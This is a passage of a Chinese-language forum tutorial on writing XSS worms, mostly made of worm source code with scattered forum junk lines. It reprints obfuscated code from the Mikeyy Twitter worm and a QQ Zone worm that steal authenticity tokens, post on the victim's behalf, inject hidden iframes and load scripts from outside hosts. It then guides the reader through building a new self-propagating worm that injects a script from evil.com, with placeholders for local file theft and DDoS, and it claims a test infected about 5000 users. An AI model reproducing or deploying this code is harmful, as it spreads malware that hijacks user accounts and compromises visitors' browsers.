XmlHttp.send(null);

& A4 B+ z' p9 E6 h9 j* N" T' t<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
# u6 z8 `/ M+ i6 S: n复制代码案例:Twitter 蠕蟲五度發威
2 w, w* {/ u5 U第一版:
8 b5 J# G; \+ d( p* Y  下载 (5.1 KB)
7 [% I" Q# c! O3 n. Y" U
6 天前 08:27
: Z# R6 y$ O8 a( U- u% @
' q' [  s$ F' t" q; e" c第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

5 N: q( V( {: C+ W6 O! p  G   2.   

   3. function XHConn(){  

8 v# M4 `5 u2 K* l   4.   var _0x6687x2,_0x6687x3=false;  
; B( y  s' c. p6 Y$ s/ f8 o
   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

( q! \* k! O5 H. I   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
% J$ o7 Y( }, f9 B
1 g3 p& X: e/ ~. @- D, x! b   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

# S0 H6 U9 }6 v& K   8.   catch(e) { _0x6687x2=false; }; }; };  
+ _: B" I9 j  O* h9 o复制代码第六版:   1. function wait() {  
1 d2 X8 a' I7 H; [3 u* ~
; p2 j3 l: a* [' E$ J. R2 G   2.   var content = document.documentElement.innerHTML;  

0 i1 i* h' D' u2 Z' {   3.   var tmp_cookie=document.cookie;  

, K. g+ c, ^7 N   4.   var tmp_posted=tmp_cookie.match(/posted/);  
" x; U4 C- Y: O' {
7 I1 j0 o  T. H$ \! x( S" |   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

2 _: I; I' }/ B. }: W) }. }   6.   var authtoken=authreg.exec(content);  
: e" v0 f4 k4 s. m; N
   7.   var authtoken=authtoken[1];  
6 T$ b3 G8 ^9 ^3 N
   8.   var randomUpdate= new Array();  
" w- I: b7 p! ?7 X: ?6 t
. N; N, f: f) u) L1 \# T! H- H   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

& ?) r8 p  M: [. F6 x8 M- ]' o6 P# b  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

' ]1 A# ?1 D5 {7 l1 i  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
' [: a$ \# d! I" I/ ]
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
+ n" m  ?0 O8 v( E6 @4 z" Y
2 ?8 Q+ q1 @- j" u& y2 x5 {* t  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

# F& U* r7 J. D6 B  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
( G4 O6 ?; F; e8 ?  `
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
  Z7 r1 S. x; M- o) w/ Q
1 h& M" i/ i8 `) c8 K1 R; ^  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

3 l/ {9 n+ g+ A9 Z) R. ?3 N4 G  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

2 a( e  h7 u- ?, Y+ O) g  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

6 ~0 Z* ~: m* T" K2 J& i' u  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
) S# c: K6 C$ F9 J' D- B
  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
) [8 F" b! a3 A8 n2 W" \6 j+ n2 F
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

0 d- k5 l; k  Q0 t+ r( m  27.     
% V& k# D1 q8 ~$ U5 Z
  28.   var ajaxConn= new XHConn();  
  s! x0 E+ [, I3 s$ U. z* [, q- H
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
  ^  `* {2 q, _+ Z6 Y: S. M
1 V" p5 S# f4 }  30.   var _0xf81bx1c="Mikeyy";  
9 K) ~1 K3 M5 N- D9 G4 C" v
  31.   var updateEncode=urlencode(_0xf81bx1c);  

+ E9 K/ d: X. z9 w5 O! N  32.   var ajaxConn1= new XHConn();  

: x1 |! d% k- |5 m  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

9 L, k/ j  L, v0 |# j, A8 K  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
% b) w  d7 Y$ [5 o
  35.   var XSS=urlencode(genXSS);  

' `. J) T  v7 c+ A  s- Y9 @9 A& W# n  36.   var ajaxConn2= new XHConn();  

& ]9 A& A' R) }4 `) k0 ~  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
* F/ n/ k% c. P) p! i: w9 A/ H
  38.     

: k. L, }9 `, U  39. } ;  
* ]# v$ p7 b& i4 G9 m+ c
0 {3 g$ q' \+ K' A4 [" N+ g1 g  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
! P- S* K$ p4 l" }
window.onerror=killErrors;
; m$ O$ Q( w5 R6 _4 f


var shendu;shendu=4;

; K6 O" S8 V1 L0 j6 P' J//---------------global---v------------------------------------------

4 k" e% q  i/ Z. P7 b//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
: \* z" @" w$ Z1 P$ w# {7 [& {( n
  I# E* A& n* gvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

/ c: J  ^) n  J8 W8 s$ ?7 Z1 Uvar myblogurl=new Array();var myblogid=new Array();

6 C! `& y4 r' I! r1 G        var gurl=document.location.href;
6 z6 B$ Q/ [6 n
        var gurle=gurl.indexOf("com/");

        gurl=gurl.substring(0,gurle+3);        

        var visitorID=top.document.documentElement.outerHTML;

+ d$ }! i8 {! l, e+ N           var cookieS=visitorID.indexOf("g_iLoginUin = ");
0 [5 ~" w* y, s: s
        visitorID=visitorID.substring(cookieS+14);
1 o4 I. y, D& S# E. \4 L
0 t5 u; p( V1 D/ }# x( c        cookieS=visitorID.indexOf(",");
4 y) r# N; ]! q/ I
5 C7 p3 _5 g! {8 M8 j# i& H        visitorID=visitorID.substring(0,cookieS);
! z. C; t+ J  ~( x; G0 F5 q2 C
! K- s  k6 s# ~4 s7 d        get_my_blog(visitorID);
2 _% g; @; {) E' v' j
        DOshuamy();
+ ]6 h2 M$ s. j/ Z  t: K) F
$ t, J. B6 {! N* D' h6 i
9 s6 i3 V& U0 ]% H
* @! a3 L" ~. ~6 F  M//挂马

6 q: Z0 a8 t) H; vfunction DOshuamy(){
% b9 i* c( Z( q7 i; O
var ssr=document.getElementById("veryTitle");

) w2 {# p; k1 m9 rssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

0 j1 e+ P* }  s! Z$ K! i+ P# ]}
# p1 ^  h6 K- y& w( N; C' \+ Z
7 E- @8 h7 `, u& ?

//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){
) `9 H8 g8 p6 A( O2 x. q/ |
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
& T8 p2 V. Q. L! w7 d3 ]
& l2 \' \8 ^% s, j   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

: g" x. z- {; o, u& f) r  L   if(xhr){    //成功就执行下面的

, g8 D0 q$ ^$ L, c# M# I* X     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
; g7 i( T: s+ K7 `9 P# Z% s' E5 a
     xhr.send();guest=xhr.responseText;

& R" D2 ~" I& t* M* [     get_my_blogurl(guest);    //执行这个函数
8 b: ]/ ?2 Y" _: a9 P, b: A2 q
# r' X2 I" ]9 a6 D: F' U- s, A    }

' h' {3 d8 s8 P% v3 x) d$ ?}

4 O+ N* F8 c% T$ D  G. I( S

//这里似乎是判断没有登录的
" i5 h) O& R* z) w) h  W8 r
- e: T, A% Q1 h" R8 F$ J* Mfunction get_my_blogurl(guest){
! \* g% P$ G$ w  B  i/ Y. |
  var mybloglist=guest;
7 p: \1 O8 ~. c
" B4 ~* c  A( g( \8 ^  var myurls;var blogids;var blogide;
  |; ?0 i" Y! J2 F4 ?
  for(i=0;i<shendu;i++){

2 H, C" q* W( u  O# Y     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

. d  N& e' a  f; x# f& X( F( A' l, n     if(myurls!=-1){    //找到了就执行下面的
1 G; O  c: g0 w9 g8 p
         mybloglist=mybloglist.substring(myurls+11);

         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);
* M" d$ D! Y  L  o
/ H$ y9 \4 w3 K- _. L) ]& [        }else{break;}

. X8 b1 L+ g: A. i: h}

get_my_testself();    //执行这个函数
' R$ ]+ x+ [/ ]3 [2 o3 z2 ?' J( P
! s1 D4 E0 ]; I' a  _) q}

3 F: t7 T6 j8 _5 B, f
+ ?2 k4 O+ h& f2 w
//这里往哪跳就不知道了
- F/ w! u2 C3 Q' d% }" M
function get_my_testself(){
" _$ F+ B1 d  B3 p/ k, @% i
* i% s  u! y; x# q  for(i=0;i<myblogid.length;i++){    //获得blogid的值
* b" _" G1 [" P0 q/ @- B- v
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
) l1 R: i1 x0 D) r2 j2 x, z+ c. B
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
: m& X) Z6 U6 F: a6 m  b
      if(xhr2){        //如果成功
! L2 Y8 f' V+ o# L1 N) s5 K
              xhr2.open("GET",url,false);     //打开上面的那个url
- I9 y# L9 c( e# O% V1 i3 B( H
              xhr2.send();
& a) f* ^# P) l( `2 Y$ u
              guest2=xhr2.responseText;
' n9 U# z  u' z7 @9 Z6 Z0 |; g, x8 R
+ y; w5 g! ~! O; z# I              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
" R5 u  m* o; l+ l8 x, D$ V9 ]
) l4 p- [+ e: t4 {9 g" z# V6 x# d              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

( n8 l3 Z3 f7 g  @              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
1 B3 w3 A, k1 _- e) g
6 N; y+ l* f' ]( y0 V9 D                targetblogurlid=myblogid;   
) [0 M: o7 j! M  M( U  b
6 ^+ y1 z$ _& l! \3 y$ j& e- F$ n* S! \6 B                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
3 z4 a5 b2 A. W5 L
                break;

               }

              if(mycheckit=="-1"){
" Z. l8 l2 }$ P6 K0 u8 r% ?7 w
                targetblogurlid=myblogid;

                add_js(visitorID,targetblogurlid,gurl);    //执行它
; M! e& Z6 c$ f! C
                break;

* A' m( A, `9 W2 C8 K- h               }
1 o, o0 T/ z2 O. P  ^
# X5 h3 v1 B' s" R, f1 N        }      

+ s# `. o& H8 q; j. }; c}

}

; X( G1 Q! q/ Q% {: \
. p5 L& \% x! I2 z) i
//--------------------------------------  
- A6 H2 C9 l6 J/ x8 U# G
//根据浏览器创建一个XMLHttpRequest对象
" {$ ]/ |- n; F4 D* ?5 L
8 v2 `, z" \: e3 u' M8 efunction createXMLHttpRequest(){

    var XMLhttpObject=null;  

    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

0 T4 J3 R# e0 B; C9 A6 v    else  

( I. ^9 ~) Q  Z& R4 R; F      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

1 N1 J4 g% I; k4 K" l        for(var i=0;i<MSXML.length;i++)  

" [5 m* U; Y5 ]! I        {  
& @9 h8 l  }8 H5 @1 c1 N
            try  

0 o$ C, |' v; o            {  
! ]. `/ P3 D6 T4 K
- K, T- C$ x2 `* I" H' q- A7 I                XMLhttpObject=new ActiveXObject(MSXML);  
0 X1 A& o! a/ Q9 b1 H" g$ Q0 x
                break;  
, B+ @/ B" m* C1 |
            }  
. X2 ^, {: V: d0 E) K
7 D. P3 y! g* w) Z            catch (ex) {  
! K; X7 P. g6 g4 R" X/ N
( A2 h3 }( d  L% ?            }  
, ^, v6 {1 |; r! y5 x2 O+ \" }
         }  
1 u+ n1 u. r) V7 h  W
0 R: @+ n7 ^: i/ O* B8 k9 d# E      }

return XMLhttpObject;

6 h/ q" R- {. a4 b8 l}  

. w' ^$ i  l4 I& x0 a( _

//这里就是感染部分了

function add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

& K0 ^' D% U' Ts2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

; V2 E( @/ ~* g# J+ {6 ydocument.getElementsByTagName('head').item(0).appendChild(s2);
& s% P% E; m# ^9 Q, P; V% x
" v3 d3 s  S% T/ @}

# T. `% ]- K) {3 W. C

function add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

" x6 C. Z+ `; f0 l/ Ds2.type='text/javascript';

8 ?4 D4 @3 i& |' |/ f8 `; [6 e% idocument.getElementsByTagName('head').item(0).appendChild(s2);

}
* W% O' m+ m& c9 n2 c7 P; g: O复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
  \' E9 l: U, e0 W7 O: Z1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

# {2 X& U  u" q1 x! U$ q; F% U2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
4 G, ^' Z: X# F( Y6 e$ }, L$ ^
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


$ L2 ^( Z5 U$ N/ [下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

首先,自然是判断不同浏览器,创建不同的对象var request = false;
5 _/ B9 l; h% Y; |9 R
if(window.XMLHttpRequest) {
1 v4 j/ j4 ^- m2 }
1 D8 i: ?, N7 zrequest = new XMLHttpRequest();
% M! g* b3 |0 s7 \' a9 {9 A. j
2 Z! A6 {$ z4 r$ w7 m: rif(request.overrideMimeType) {
6 y9 {% @7 i- p% L. N
# c. O# c" {$ v% O  ^1 I5 Krequest.overrideMimeType('text/xml');
2 l0 t1 k( W& N" g4 O. L* u
6 V9 A- f2 C  I7 o}

& o8 r6 g8 ?) \# Y6 a$ m} else if(window.ActiveXObject) {

  V+ p) _  ]( ^' q2 G$ I0 \* O5 avar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
) D+ U  Y' {; \7 b, v( g4 X* \; E
for(var i=0; i<versions.length; i++) {
" |& G* i/ [% |3 V0 }- e$ a
try {
9 c. u, S# x% i
request = new ActiveXObject(versions);
. s7 T8 b: p/ ?( v$ ~
} catch(e) {}

0 {# S& c) J3 `* j}

, D- J! K7 r0 E}
; ~( d9 i$ O  L3 I) ^) Y9 E! _
xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
3 k0 f# p7 J+ x
4 V( P5 a! }' A. B0 v% X5 z        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);

5 G/ v7 V+ s1 U1 Z        var Browser_Agent=navigator.userAgent;
! u" r0 H9 x  s/ n
        
! u# Z/ }/ ~6 }0 W' Q1 a  J
        var Actual_Version,Actual_Name;

/ k' c/ V/ }! s/ L4 n/ }) h        

# o8 I8 ^; \4 k+ s, R        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
- Z2 d2 E, [3 P8 X% K
        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");

        

        if(is_NN){
! c  a* \8 l0 u$ q$ B$ J) d: T
            if(Browser_Version>=5.0){
/ Z' D' ~9 k0 U6 ^# b4 _: v
                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);

                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

  m$ v# r* _' N& g( y
) z# T9 P) K* V* n4 o7 d
5 \/ U. `6 h* H* ]9 J: M                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }

+ Y6 O$ m1 D- m            else{
* t2 ]6 K+ v/ Q8 s  {9 ?2 ~
; m6 j, C5 I# B7 f. S1 n$ w                Actual_Version=Browser_Version;
  O, z5 M! l* @
  x& ?- t$ K* X: J. h; `9 Q                Actual_Name=Browser_Name;

            }
' N' _& A- f# W8 U. B
        }
# k) K: W3 }( I+ p( @  L
( [0 B3 S2 D9 I! W# n# Z: U        else if(is_IE){
, @% B8 {( G5 b0 m, G3 i
3 t; F; S6 }) s, E) C6 w2 Q7 _  Q            var Version_Start=Browser_Agent.indexOf("MSIE");
5 d- Z* y* {1 q# R
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
4 U' R, D$ m' @6 ?, y
- j6 ?1 \* B6 i. R9 W            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
! i- l+ P5 z- j4 E' T& v
            Actual_Name=Browser_Name;
, Z) r8 P& \2 d3 ~+ s) |
            
! k5 t6 f+ c6 K+ g& t
" U& M/ |: j4 b! Z            if(Browser_Agent.indexOf("Maxthon")!=-1){
: r3 h- r$ P' c8 g& x, Y* B
% ~8 P9 k) H# c- F0 |+ I                Actual_Name+="(Maxthon)";
5 h  ~/ E  X% J& E: G: B& R2 H
' z- `' z' q! a5 _1 D  S            }

$ f0 [) G1 ~  a; ?9 ~4 l1 C            else if(Browser_Agent.indexOf("Opera")!=-1){
, u7 q2 |7 c. u/ N* K( N' H2 S
                Actual_Name="Opera";

# h0 x* Z) U' `7 f; M6 V                var tempstart=Browser_Agent.indexOf("Opera");
7 J2 }/ ]! {% O# C
                var tempend=Browser_Agent.length;
  Y  U$ n, @' j" ~- X0 s
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

) Q7 A8 A  W; p            }

        }
; X8 P3 F. h3 O
        else if(is_Ch){
* L1 z+ V5 W2 B( g8 v, P/ i1 j; N
* i% ~5 `. \* \2 W: I) c" s            var Version_Start=Browser_Agent.indexOf("Chrome");

  J; `0 e: M0 G) T! Z5 b            var Version_End=Browser_Agent.indexOf(";",Version_Start);

6 l% X' d; ]' ~7 ?& ?            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;
# `. j6 Y( Z  p; |
+ @1 E0 A4 `5 l% \7 y  {            
0 i5 h: Q* d0 H6 h
            if(Browser_Agent.indexOf("Maxthon")!=-1){
8 s6 D. J; N9 Q6 D% j0 Y  x
* N2 v8 R$ Y  e7 a# Q3 j6 ?                Actual_Name+="(Maxthon)";

            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
3 s( J1 H$ n3 K  @, y$ |
                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

* B- V( f2 e* U                var tempend=Browser_Agent.length;

( Y; b1 }$ g! T: B                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
+ X, y$ O$ q( \/ K7 t( i
+ ]8 m) c  d" b            }
: U+ ^& G9 C; V/ C5 Q; f# ?
! _  u) W1 h+ Q( C        }
2 D( Z7 n1 h) [, @- O: [! i
        else{
; X/ J" X8 ?+ g# @" E
            Actual_Name="Unknown Navigator"

/ e/ @7 @# v8 ~6 \            Actual_Version="Unknown Version"

! N7 n2 D$ E: ^        }
. m5 F* d6 g5 n' v' v
, e# T/ X  Y* C" Z( i5 u4 ]9 `
' B& W- t% c  O- M/ R
. w. m1 ^0 c8 b        navigator.Actual_Name=Actual_Name;

. n/ Y) r5 g* {% X        navigator.Actual_Version=Actual_Version;
; _$ r* m+ k: ^3 {" X# v
        
8 w  k0 A9 A' @) I0 H
( w/ |7 v/ t1 O$ P$ N        this.Name=Actual_Name;
" k" ?# ^1 L4 m7 }
        this.Version=Actual_Version;

: ~6 W: C( p% D% m% u. w    }

    browserinfo();

; C0 S. ^9 X9 w4 \" D: }) ~    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
0 r8 l" j5 _6 n; e% _
. U- f, D% m& h$ O/ E( I8 R# j    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

+ l3 ?7 g: \* G9 Q( p- f2 _  J2 l3 Z    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
, {# H, @2 S! F; r复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
3 D' S6 L6 i' J" a5 g复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
" F8 K, E% `" g! O1 j
xmlHttpReq.send(null);

; q' i9 x  A9 v) _var resource = xmlHttpReq.responseText;

var id=0;var result;

* ?6 d0 W7 t- S! j5 ?% x3 v, Pvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
4 o4 n, H% S; E; B6 W' [9 C( S
0 n% ~  R% c- h8 O' nwhile ((result = patt.exec(resource)) != null)  {
  c6 ]4 t, i' M+ g: @
4 _+ h$ }6 e! B" A6 Qid++;

) S" O. E0 S* w- }6 m) ~}
$ A' ]' }* _7 J( |: Y4 P复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
: {2 H( \" t" y; T4 Y$ g
no=resource.search(/my name is/);

( D0 {3 Z% Q  s1 e6 o; bvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
$ ~; Y- n$ X  S3 s) _
. `0 ~+ F. r* P$ Qvar post="wd="+wd;

xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
% t$ t* L+ a1 H" o6 g, w
4 H! ~! V& y# X2 s& N  \xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
1 u/ V" L* i  C# u+ W
, F) r8 I1 @  T, m1 R0 @0 zxmlHttpReq.setRequestHeader("content-length",post.length);
) `' ~8 F# {/ K7 o0 u4 M
' l9 F5 t' A; [' Q; W3 D4 Y# P+ Q2 t, \xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);
% G7 @, g# p7 ^
}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
  ^6 Z3 @7 e; \. G  z5 G8 V/ M" q" V
3 q; Y# x  I. K: N+ z1 q" evar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
8 I  V  [2 O1 G
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

3 ?3 B- }7 Y: b& Gvar post="wd="+wd;

* B8 y# X0 m  n! H  B& _xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
/ w3 H/ }$ H: x$ A: O& P
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

0 q: b6 k: v9 D( x0 @6 \) F+ WxmlHttpReq.send(post);                 //把传播的信息 POST出去.

$ |& q% }9 A9 m+ y7 K}
' ?" s4 N" ?! S复制代码-----------------------------------------------------总结-------------------------------------------------------------------
' [; k% x- U0 `; I" _3 d! e


本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
- l9 I. Y# b: P$ r# ?/ e$ G蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
' s$ D; ?% n- ~7 d5 k/ v8 k操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
% ^9 ^0 X, a$ Y9 E, O' K1 a







, H- S- F+ G6 t3 @; x% g9 y本文引用文档资料:
0 u( j. o  |+ w
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
; H9 B! s6 Z6 o* {" ~. Q6 a! I- WOther XmlHttpRequest tricks (Amit Klein, January 2003)
3 b5 f, S. B& L4 Y% w6 w6 w"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/